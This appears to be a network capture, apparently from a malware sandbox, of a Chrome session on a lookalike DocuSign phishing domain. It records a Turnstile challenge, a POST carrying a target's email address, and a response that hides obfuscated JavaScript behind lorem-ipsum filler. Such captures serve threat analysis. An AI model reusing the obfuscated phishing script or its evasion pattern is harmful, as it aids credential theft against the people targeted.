2025-01-14 16:25:31 UTC	1369	IN	Data Raw: 4a 71 6e 71 36 71 56 68 61 75 77 6c 34 69 77 6d 4a 79 79 6f 59 43 58 6b 5a 6d 46 73 4c 71 33 67 37 72 4d 79 38 75 6a 6e 38 2f 46 76 4d 61 4e 70 4c 61 50 79 4b 69 35 30 71 6e 53 7a 72 37 42 6e 38 47 75 7a 71 58 53 6e 39 36 69 76 38 6d 6b 35 73 79 39 33 39 44 65 71 39 48 70 36 4d 62 4a 37 4e 6a 4c 75 64 66 63 75 50 7a 53 37 75 44 68 41 2f 66 39 79 4c 76 6e 41 73 58 6d 34 2b 6f 4c 7a 2f 41 46 37 4e 54 7a 44 74 67 58 38 4f 7a 70 45 77 67 52 46 41 73 4f 47 64 76 69 45 42 6b 59 48 52 77 74 43 67 63 45 45 51 62 73 4a 43 6f 78 44 53 48 76 4b 50 63 61 46 79 67 66 4b 42 30 50 45 44 55 54 51 52 6f 35 41 77 67 4b 50 54 38 61 52 7a 39 48 47 79 49 77 4c 77 34 78 4e 6b 74 55 56 45 74 53 47 52 64 49 4c 79 34 62 52 45 52 43 57 55 39 48 4e 6d 42 58 4a 56 77 6f 54 6d 59 74 Data Ascii: Jqnq6qVhauwl4iwmJyyoYCXkZmFsLq3g7rMy8ujn8/FvMaNpLaPyKi50qnSzr7Bn8GuzqXSn96iv8mk5sy939Deq9Hp6MbJ7NjLudfcuPzS7uDhA/f9yLvnAsXm4+oLz/AF7NTzDtgX8OzpEwgRFAsOGdviEBkYHRwtCgcEEQbsJCoxDSHvKPcaFygfKB0PEDUTQRo5AwgKPT8aRz9HGyIwLw4xNktUVEtSGRdILy4bRERCWU9HNmBXJVwoTmYt
2025-01-14 16:25:31 UTC	1369	IN	Data Raw: 69 69 69 4a 4f 50 6e 6f 69 53 72 62 69 32 69 36 32 77 73 62 57 33 6c 63 75 73 74 62 36 74 71 4d 4b 77 6f 5a 32 63 6a 61 65 67 6b 4b 79 70 74 4d 72 47 72 4c 6e 4f 6f 62 43 79 31 71 43 6d 74 36 44 55 31 64 2f 49 7a 61 37 4c 34 62 75 6f 34 4e 54 43 74 76 53 76 79 4d 76 5a 2b 65 33 79 30 50 44 72 39 2f 73 42 38 76 6b 41 39 4f 66 33 39 50 51 49 78 78 48 76 34 65 6f 52 7a 4d 76 77 47 64 41 51 42 2b 6a 79 37 67 37 58 41 74 30 41 33 41 59 62 42 2f 6a 35 43 41 54 6a 49 43 34 64 4a 66 33 2b 45 52 4d 6b 49 68 55 75 42 69 30 62 47 66 77 4e 4b 42 41 57 46 52 7a 39 47 76 77 67 4a 44 68 4b 4b 67 59 4e 47 6a 35 44 41 79 73 77 49 44 49 77 51 55 6b 56 4f 55 51 73 53 46 56 48 56 52 6c 55 56 56 5a 59 49 46 51 32 53 6d 4a 57 4a 57 45 2b 58 55 39 63 52 57 55 77 51 6e 56 56 57 Data Ascii: iiiJOPnoiSrbi2i62wsbW3lcustb6tqMKwoZ2cjaegkKyptMrGrLnOobCy1qCmt6DU1d/Iza7L4buo4NTCtvSvyMvZ+e3y0PDr9/sB8vkA9Of39PQIxxHv4eoRzMvwGdAQB+jy7g7XAt0A3AYbB/j5CATjIC4dJf3+ERMkIhUuBi0bGfwNKBAWFRz9GvwgJDhKKgYNGj5DAyswIDIwQUkVOUQsSFVHVRlUVVZYIFQ2SmJWJWE+XU9cRWUwQnVVW
2025-01-14 16:25:31 UTC	613	IN	Data Raw: 4e 74 36 2b 73 74 62 65 2b 70 6f 4c 44 74 71 69 6f 75 37 79 72 68 72 69 66 73 72 43 4d 78 73 43 51 72 71 72 43 71 4c 33 46 30 4e 54 54 77 73 4f 61 31 39 61 2f 6e 36 58 44 79 72 6e 63 76 39 6d 2b 71 4c 37 66 77 73 32 31 35 65 33 42 37 65 66 76 78 66 37 73 79 2f 54 53 37 75 44 61 31 66 50 54 2b 2f 33 38 77 77 7a 70 37 64 30 4d 37 2b 2f 77 39 64 51 46 30 4f 33 35 39 78 44 71 35 68 48 2b 46 42 63 53 46 69 44 64 42 78 33 67 48 42 30 4b 4a 41 6f 4e 4a 2f 33 6f 44 79 73 43 42 52 44 78 36 67 4d 70 47 66 6a 36 4c 41 30 61 51 53 73 52 47 76 34 78 4a 69 4d 6a 4b 45 4a 46 47 44 77 66 4c 69 55 73 4d 6a 30 69 4c 6a 56 4e 4b 44 68 52 54 44 39 4a 50 54 49 61 55 44 42 56 4d 30 51 6a 4f 6c 4a 58 52 79 6c 57 58 44 78 6f 4c 47 42 6e 61 7a 5a 54 61 30 35 56 56 56 6c 53 53 6d Data Ascii: Nt6+stbe+poLDtqiou7yrhrifsrCMxsCQrqrCqL3F0NTTwsOa19a/n6XDyrncv9m+qL7fws215e3B7efvxf7sy/TS7uDa1fPT+/38wwzp7d0M7+/w9dQF0O359xDq5hH+FBcSFiDdBx3gHB0KJAoNJ/3oDysCBRDx6gMpGfj6LA0aQSsRGv4xJiMjKEJFGDwfLiUsMj0iLjVNKDhRTD9JPTIaUDBVM0QjOlJXRylWXDxoLGBnazZTa05VVVlSSm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	51400	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:31 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1584592966:1736867726:NPNXQv2vLhedVg3BHjiw19fkli-qalioRMTGQKWJ26k/901efb0f7f1b5e5f/0hG5y7TNaH6O9zMpmvl7FbRgLrE1AMToSi.kBYo05Fo-1736871912-1.1.1.1-a7u6Qpc5jm8A3.eIVdrPWRDR0WL41.8nS8DTeoVmB5rgbFoTwr7CASB2OZCwljLF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:32 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 14 Jan 2025 16:25:32 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: GZixylb+9LnQCv74ufgemeg/hO1fl7xImVBeYpkVH4bih7hb3XIK0j/zeXJ0WlHmOdE9HlokV4eSSdjrR1Ax6Q==$aOtopXcOohgsfXb4l6hV6g== Server: cloudflare CF-RAY: 901efb876c7842af-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:32 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	51401	172.67.210.82	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:32 UTC	993	OUT	POST /S06ga/?e=ecastillo@seguridadamerica.com HTTP/1.1 Host: docusign.legalcloudfiles.com Connection: keep-alive Content-Length: 923 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://docusign.legalcloudfiles.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=mflm6i3anin80rqnr4idh7h7ci
2025-01-14 16:25:32 UTC	923	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 53 63 38 72 74 45 62 44 55 54 4b 79 45 34 42 59 69 5a 36 42 63 4d 41 6a 56 4a 4c 34 5f 68 30 34 58 67 36 33 59 4c 6c 37 75 4c 7a 47 36 39 59 2d 44 5f 74 52 51 6e 57 79 32 64 6f 55 51 64 52 73 6a 64 30 78 7a 5a 42 77 75 73 6e 50 72 71 61 54 71 71 4a 42 72 69 72 37 4c 33 30 71 66 34 79 5a 57 66 55 45 71 38 33 6e 36 6e 46 68 41 32 72 71 77 51 6f 6f 36 5a 65 53 75 47 76 73 47 73 72 6e 41 49 52 64 66 46 49 4b 32 4c 64 5f 44 39 5f 50 36 66 6e 4a 43 32 41 34 31 33 43 4b 53 55 6a 70 52 4d 4d 4e 32 51 6d 5a 32 4f 5a 75 66 4c 32 4c 77 74 43 44 54 4a 48 43 4b 62 47 7a 6f 4a 64 54 78 57 4f 70 4e 47 76 30 4f 73 4c 6b 64 74 74 56 51 34 51 30 6d 41 70 69 6b 5a 70 71 41 4f 34 56 72 77 4a 32 38 55 4c Data Ascii: cf-turnstile-response=0.Sc8rtEbDUTKyE4BYiZ6BcMAjVJL4_h04Xg63YLl7uLzG69Y-D_tRQnWy2doUQdRsjd0xzZBwusnPrqaTqqJBrir7L30qf4yZWfUEq83n6nFhA2rqwQoo6ZeSuGvsGsrnAIRdfFIK2Ld_D9_P6fnJC2A413CKSUjpRMMN2QmZ2OZufL2LwtCDTJHCKbGzoJdTxWOpNGv0OsLkdttVQ4Q0mApikZpqAO4VrwJ28UL
2025-01-14 16:25:33 UTC	936	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9vpRQ%2FYSL80ToU%2BUz6S8hwaEZpV0nc4YYpZz0VUCazhbEgZXXMdDolrBfpcYDNLz798Qa9WKqIEcrnUMXpJaerY2YoiTSe6DaIoemdlwRWwOplxLu9B7LjoASMgpIZfJVDrgiufI2svnXKxhGfV7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901efb8a2c2042de-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2488&min_rtt=2471&rtt_var=939&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2851&recv_bytes=2538&delivery_rate=1181707&cwnd=230&unsent_bytes=0&cid=ae9fa1418fdd8ad6&ts=636&x=0"
2025-01-14 16:25:33 UTC	433	IN	Data Raw: 39 61 33 0d 0a 3c 21 2d 2d 20 3c 73 70 61 6e 3e 49 6e 20 70 6f 72 6b 20 63 68 6f 70 20 6d 61 67 6e 61 2c 20 64 6f 6c 6f 72 65 20 73 68 6f 72 74 20 72 69 62 73 20 63 6f 72 6e 65 64 20 62 65 65 66 20 62 72 65 73 61 6f 6c 61 20 62 6f 75 64 69 6e 20 71 75 69 73 20 61 6e 69 6d 20 65 61 20 75 6c 6c 61 6d 63 6f 20 65 75 20 63 6f 6e 73 65 63 74 65 74 75 72 20 6e 6f 73 74 72 75 64 2e 20 4d 61 67 6e 61 20 70 6f 72 6b 20 6c 6f 69 6e 20 6d 65 61 74 62 61 6c 6c 20 64 75 69 73 2c 20 72 65 70 72 65 68 65 6e 64 65 72 69 74 20 63 6f 6d 6d 6f 64 6f 20 73 68 61 6e 6b 20 62 75 66 66 61 6c 6f 20 6c 61 62 6f 72 75 6d 20 61 6c 63 61 74 72 61 20 65 6c 69 74 20 72 69 62 65 79 65 20 65 78 65 72 63 69 74 61 74 69 6f 6e 20 63 68 69 63 6b 65 6e 2e 20 48 61 6d 62 75 72 67 65 72 20 73 Data Ascii: 9a3... <span>In pork chop magna, dolore short ribs corned beef bresaola boudin quis anim ea ullamco eu consectetur nostrud. Magna pork loin meatball duis, reprehenderit commodo shank buffalo laborum alcatra elit ribeye exercitation chicken. Hamburger s
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 20 65 69 75 73 6d 6f 64 20 65 73 74 20 64 6f 6c 6f 72 20 65 78 63 65 70 74 65 75 72 20 69 64 20 70 72 6f 73 63 69 75 74 74 6f 20 73 68 6f 75 6c 64 65 72 2e 20 4c 65 62 65 72 6b 61 73 20 74 65 6d 70 6f 72 20 70 69 67 20 6d 69 6e 69 6d 2c 20 6e 75 6c 6c 61 20 6d 6f 6c 6c 69 74 20 63 68 69 63 6b 65 6e 20 65 69 75 73 6d 6f 64 20 63 75 6c 70 61 20 69 6e 63 69 64 69 64 75 6e 74 20 74 75 72 64 75 63 6b 65 6e 20 65 73 74 20 64 6f 6c 6f 72 65 20 62 72 69 73 6b 65 74 2e 20 54 72 69 2d 74 69 70 20 66 69 6c 65 74 20 6d 69 67 6e 6f 6e 20 72 69 62 65 79 65 20 68 61 6d 20 62 72 65 73 61 6f 6c 61 2c 20 65 78 63 65 70 74 65 75 72 20 73 75 6e 74 20 63 75 6c 70 61 20 66 72 61 6e 6b 66 75 72 74 65 72 20 73 68 6f 72 74 20 72 69 62 73 2e 20 45 6c 69 74 20 74 72 69 2d 74 69 70 Data Ascii: eiusmod est dolor excepteur id prosciutto shoulder. Leberkas tempor pig minim, nulla mollit chicken eiusmod culpa incididunt turducken est dolore brisket. Tri-tip filet mignon ribeye ham bresaola, excepteur sunt culpa frankfurter short ribs. Elit tri-tip
2025-01-14 16:25:33 UTC	672	IN	Data Raw: 6f 20 64 6f 6c 6f 72 20 65 6e 69 6d 20 65 75 20 6f 66 66 69 63 69 61 20 62 61 6c 6c 20 74 69 70 20 6d 61 67 6e 61 20 63 61 70 69 63 6f 6c 61 20 62 65 65 66 2e 20 54 72 69 2d 74 69 70 20 70 6f 72 6b 20 63 75 70 69 6d 20 6c 61 62 6f 72 69 73 2e 20 41 75 74 65 20 6c 61 6e 64 6a 61 65 67 65 72 20 64 6f 6c 6f 72 65 20 63 68 69 63 6b 65 6e 2e 20 49 64 20 61 75 74 65 20 63 6f 77 2c 20 70 6f 72 6b 20 63 68 6f 70 20 63 68 69 63 6b 65 6e 20 70 69 67 20 65 78 20 63 69 6c 6c 75 6d 20 73 61 75 73 61 67 65 20 64 6f 6c 6f 72 65 20 69 6e 20 66 6c 61 6e 6b 20 62 6f 75 64 69 6e 20 6e 6f 6e 20 74 75 72 6b 65 79 2e 20 4c 65 62 65 72 6b 61 73 20 69 64 20 73 68 61 6e 6b 6c 65 20 6d 69 6e 69 6d 20 76 6f 6c 75 70 74 61 74 65 20 61 64 69 70 69 73 69 63 69 6e 67 2e 20 53 61 75 73 Data Ascii: o dolor enim eu officia ball tip magna capicola beef. Tri-tip pork cupim laboris. Aute landjaeger dolore chicken. Id aute cow, pork chop chicken pig ex cillum sausage dolore in flank boudin non turkey. Leberkas id shankle minim voluptate adipisicing. Saus
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 32 63 31 38 0d 0a 65 74 20 62 65 65 66 20 72 69 62 73 2e 0a 66 75 6e 63 74 69 6f 6e 20 77 4b 35 4e 46 51 6c 28 29 7b 7d 76 61 72 20 46 70 75 4f 5a 44 45 3d 4f 62 6a 65 63 74 5b 27 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 27 5d 2c 4f 71 31 76 76 43 42 2c 74 32 59 37 31 77 39 2c 6d 36 37 6d 32 4c 2c 74 39 34 43 57 45 36 2c 49 31 51 51 38 52 2c 53 33 36 39 4e 6e 4b 2c 6c 52 4e 46 74 5a 4d 2c 77 57 73 31 62 38 2c 42 72 71 58 55 70 2c 76 4d 71 6a 4d 55 68 2c 66 46 56 35 61 6f 41 2c 73 6e 4b 50 63 54 46 2c 51 6c 57 48 75 6e 2c 4b 47 45 36 4a 57 2c 79 47 63 75 73 4c 3b 66 75 6e 63 74 69 6f 6e 20 54 6c 79 51 46 6a 28 77 4b 35 4e 46 51 6c 29 7b 72 65 74 75 72 6e 20 4f 71 31 76 76 43 42 5b 77 4b 35 4e 46 51 6c 3c 30 78 31 39 3f 77 4b 35 4e 46 51 6c 2b 30 78 31 31 Data Ascii: 2c18et beef ribs.function wK5NFQl(){}var FpuOZDE=Object['defineProperty'],Oq1vvCB,t2Y71w9,m67m2L,t94CWE6,I1QQ8R,S369NnK,lRNFtZM,wWs1b8,BrqXUp,vMqjMUh,fFV5aoA,snKPcTF,QlWHun,KGE6JW,yGcusL;function TlyQFj(wK5NFQl){return Oq1vvCB[wK5NFQl<0x19?wK5NFQl+0x11
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 2c 6f 4e 27 2c 27 53 36 68 76 27 2c 27 65 45 33 61 76 67 43 44 33 27 2c 27 22 4b 75 5f 33 5d 28 22 75 27 2c 27 5d 3e 60 55 77 49 78 46 5f 6b 7b 2f 7a 27 2c 27 79 59 41 5d 4a 44 6a 22 27 2c 27 45 76 52 3e 39 68 63 4f 67 53 26 44 75 6e 44 4c 31 4b 35 3e 77 79 24 2b 27 2c 27 2e 3a 4b 33 47 7c 2c 74 37 7b 64 53 48 67 3e 6a 37 5a 6c 3e 58 68 3a 5d 60 21 26 49 68 4f 63 27 2c 27 42 26 52 42 51 30 53 74 7d 7b 73 34 70 79 49 59 43 6d 7b 4e 4b 7c 4f 4f 57 67 5d 60 70 3a 25 60 67 5a 65 27 2c 27 76 72 70 64 6d 38 3c 7b 47 69 45 71 64 7b 59 31 58 55 25 42 55 6d 62 24 32 6c 22 2b 5f 71 36 3a 78 4e 23 25 27 2c 27 3e 68 57 61 7b 38 46 38 39 76 54 27 2c 27 37 25 4a 77 64 55 31 24 4f 42 6d 69 35 40 4f 79 79 74 72 3e 55 7a 7a 3d 4b 6a 74 3c 32 7c 5e 4f 5e 5a 22 6d 5e 50 75 Data Ascii: ,oN','S6hv','eE3avgCD3','"Ku_3]("u',']>`UwIxF_k{/z','yYA]JDj"','EvR>9hcOgS&DunDL1K5>wy$+','.:K3G\|,t7{dSHg>j7Zl>Xh:]`!&IhOc','B&RBQ0St}{s4pyIYCm{NK\|OOWg]`p:%`gZe','vrpdm8<{GiEqd{Y1XU%BUmb$2l"+_q6:xN#%','>hWa{8F89vT','7%JwdU1$OBmi5@Oyytr>Uzz=Kjt<2\|^O^Z"m^Pu
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 61 57 39 61 2e 29 3b 6c 36 56 69 22 60 4a 5e 5a 51 63 67 71 26 23 2c 67 4e 66 26 57 25 6a 65 4e 77 71 35 38 55 38 25 5f 6c 71 71 44 52 4c 27 2c 27 3a 42 33 25 3c 53 77 67 22 7b 7b 71 25 7c 58 59 55 54 66 71 7e 61 4d 37 62 74 5e 69 2b 27 2c 27 68 42 21 63 7c 76 2f 4f 68 5f 7d 59 4a 22 2c 4a 54 6f 69 36 6c 38 5d 29 6b 27 2c 27 2f 76 2a 6d 6a 38 3d 33 79 67 2c 48 5d 76 22 79 5f 25 7c 4e 70 28 24 35 62 74 21 38 52 7c 28 55 21 54 5e 54 4f 34 38 38 52 45 27 2c 27 22 6c 2b 3c 76 54 56 7a 54 25 26 7e 78 3a 22 44 4f 74 2c 6d 25 38 3a 4f 64 68 76 6a 51 24 5f 46 75 21 5d 42 44 37 2f 74 45 74 27 2c 27 4b 73 2f 46 6c 4e 75 74 2a 25 58 6a 42 7c 33 60 4b 46 26 3e 7d 53 43 44 79 67 4c 5b 47 22 63 6a 69 74 4d 37 6a 30 41 27 2c 27 29 21 50 3b 31 37 77 6a 2c 7b 2c 48 7c 44 Data Ascii: aW9a.);l6Vi"`J^ZQcgq&#,gNf&W%jeNwq58U8%_lqqDRL',':B3%<Swg"{{q%\|XYUTfq~aM7bt^i+','hB!c\|v/Oh_}YJ",JToi6l8])k','/vmj8=3yg,H]v"y_%\|Np($5bt!8R\|(U!T^TO488RE','"l+<vTVzT%&~x:"DOt,m%8:OdhvjQ$_Fu!]BD7/tEt','Ks/FlNut%XjB\|3`KF&>}SCDygL[G"cjitM7j0A',')!P;17wj,{,H\|D
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 4d 38 60 3a 31 44 64 3d 7c 4b 5d 6d 6c 3e 70 39 64 25 60 5e 56 2c 6d 56 7d 64 7b 2e 5d 5f 23 78 49 66 2f 5b 3a 46 25 28 37 48 68 51 43 51 6f 3e 22 5f 6f 37 5a 4a 3b 34 54 25 33 40 6a 76 6b 57 2a 23 3a 43 72 4c 71 74 4f 4c 4b 6e 21 74 3c 63 3a 63 6a 3d 54 3d 63 32 62 68 7b 7e 35 36 34 33 79 59 31 3a 4e 7d 30 67 26 64 3d 7b 7e 4f 2a 3e 22 42 3d 32 5a 37 77 23 53 72 56 4a 7e 39 3e 28 23 22 46 78 31 52 42 74 53 3d 2b 36 45 55 46 56 51 79 60 57 22 45 61 5e 42 58 33 64 45 5e 48 45 50 22 35 38 63 5f 42 77 28 64 3d 21 68 71 64 43 38 48 6f 32 5a 62 6d 2a 73 62 66 7c 56 35 6e 45 40 4a 66 25 59 5d 42 51 30 65 23 28 45 5a 46 45 30 65 6f 6e 6f 52 3c 60 37 78 35 2e 5d 59 5b 48 39 69 79 3f 69 7a 3a 6c 50 36 6a 76 34 78 2a 38 44 21 75 32 5a 4f 4e 5a 38 73 63 45 62 70 4d Data Ascii: M8`:1Dd=\|K]ml>p9d%`^V,mV}d{.]_#xIf/[:F%(7HhQCQo>"_o7ZJ;4T%3@jvkW#:CrLqtOLKn!t<c:cj=T=c2bh{~5643yY1:N}0g&d={~O>"B=2Z7w#SrVJ~9>(#"Fx1RBtS=+6EUFVQy`W"Ea^BX3dE^HEP"58c_Bw(d=!hqdC8Ho2Zbmsbf\|V5nE@Jf%Y]BQ0e#(EZFE0eonoR<`7x5.]Y[H9iy?iz:lP6jv4x8D!u2ZONZ8scEbpM
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 78 35 2e 5d 47 5b 69 50 74 5a 36 63 60 42 4c 39 56 3d 45 43 71 66 7c 2a 3a 4f 32 6f 64 42 30 73 33 7b 4b 43 26 77 3e 49 44 26 63 73 72 3e 74 30 6e 24 4a 53 44 72 5a 6e 5f 21 35 62 2e 46 33 76 45 56 64 68 2a 34 78 3a 5d 6a 4c 3a 44 63 6e 50 3d 7b 2c 5f 43 66 35 65 2a 55 34 54 35 77 5a 38 54 7b 73 5d 71 6c 62 40 2a 26 64 63 41 36 7d 61 24 68 43 45 45 53 51 24 3d 60 71 53 2c 6d 6b 5b 25 60 46 7e 43 3b 68 76 21 5a 26 4e 60 54 24 39 33 35 49 6c 7b 21 46 3a 42 3d 49 6f 65 3c 39 38 26 74 46 62 61 62 24 39 29 26 58 26 22 61 52 7a 4c 4b 7c 53 58 76 30 64 4c 79 65 76 54 69 25 5b 3b 7b 2a 6a 7b 5b 7d 49 66 2f 7b 6b 72 71 43 71 64 3d 51 45 35 54 74 72 76 3d 53 5f 52 3c 70 53 48 54 34 5f 70 4d 22 72 2f 66 61 21 73 3a 74 30 75 37 7c 53 4f 38 26 30 25 60 59 59 63 46 73 Data Ascii: x5.]G[iPtZ6c`BL9V=ECqf\|:O2odB0s3{KC&w>ID&csr>t0n$JSDrZn_!5b.F3vEVdh4x:]jL:DcnP={,_Cf5eU4T5wZ8T{s]qlb@&dcA6}a$hCEESQ$=`qS,mk[%`F~C;hv!Z&N`T$935Il{!F:B=Ioe<98&tFbab$9)&X&"aRzLK\|SXv0dLyevTi%[;{*j{[}If/{krqCqd=QE5Ttrv=S_R<pSHT4_pM"r/fa!s:t0u7\|SO8&0%`YYcFs
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 75 66 4b 2f 50 76 44 72 51 6e 63 6a 22 5a 29 33 66 6d 31 35 7e 35 29 48 51 50 5d 44 46 72 21 2f 75 39 34 4b 76 34 47 2a 5a 24 4d 6f 62 5f 53 6b 56 56 54 7b 3e 74 4d 6b 50 65 5b 26 64 26 56 77 4c 7c 38 3d 7d 68 40 70 2b 51 3d 79 60 22 37 56 52 64 59 56 5d 74 64 23 33 79 32 6e 3f 72 22 37 5e 52 56 3d 39 42 71 64 4d 38 31 3d 64 25 77 71 38 76 59 66 48 35 38 6b 7d 24 6d 46 61 21 31 64 6a 30 44 4b 39 76 66 72 46 30 43 2f 2e 5f 2c 6d 58 36 25 60 70 56 4b 5b 6b 50 73 6a 3f 72 62 37 5e 36 5e 4b 51 76 60 54 4c 60 2b 6f 53 5f 69 36 49 54 61 74 38 5d 38 6b 7d 24 31 26 36 53 38 5b 3d 7c 7b 62 39 74 5f 60 7d 66 4c 79 72 66 55 61 67 4b 70 7b 72 25 48 4d 5e 28 3a 4c 77 6b 53 33 56 71 64 3d 33 5b 7e 6f 61 72 35 3d 53 21 61 30 29 38 60 35 6a 62 22 62 30 6f 34 26 48 46 25 Data Ascii: ufK/PvDrQncj"Z)3fm15~5)HQP]DFr!/u94Kv4G*Z$Mob_SkVVT{>tMkPe[&d&VwL\|8=}h@p+Q=y`"7VRdYV]td#3y2n?r"7^RV=9BqdM81=d%wq8vYfH58k}$mFa!1dj0DK9vfrF0C/._,mX6%`pVK[kPsj?rb7^6^KQv`TL`+oS_i6ITat8]8k}$1&6S8[=\|{b9t_`}fLyrfUagKp{r%HM^(:LwkS3Vqd=3[~oar5=S!a0)8`5jb"b0o4&HF%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	51403	151.101.194.137	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:33 UTC	682	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://docusign.legalcloudfiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://docusign.legalcloudfiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:33 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1389338 Date: Tue, 14 Jan 2025 16:25:33 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740045-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 0 X-Timer: S1736871934.834881,VS0,VE1 Vary: Accept-Encoding
2025-01-14 16:25:33 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
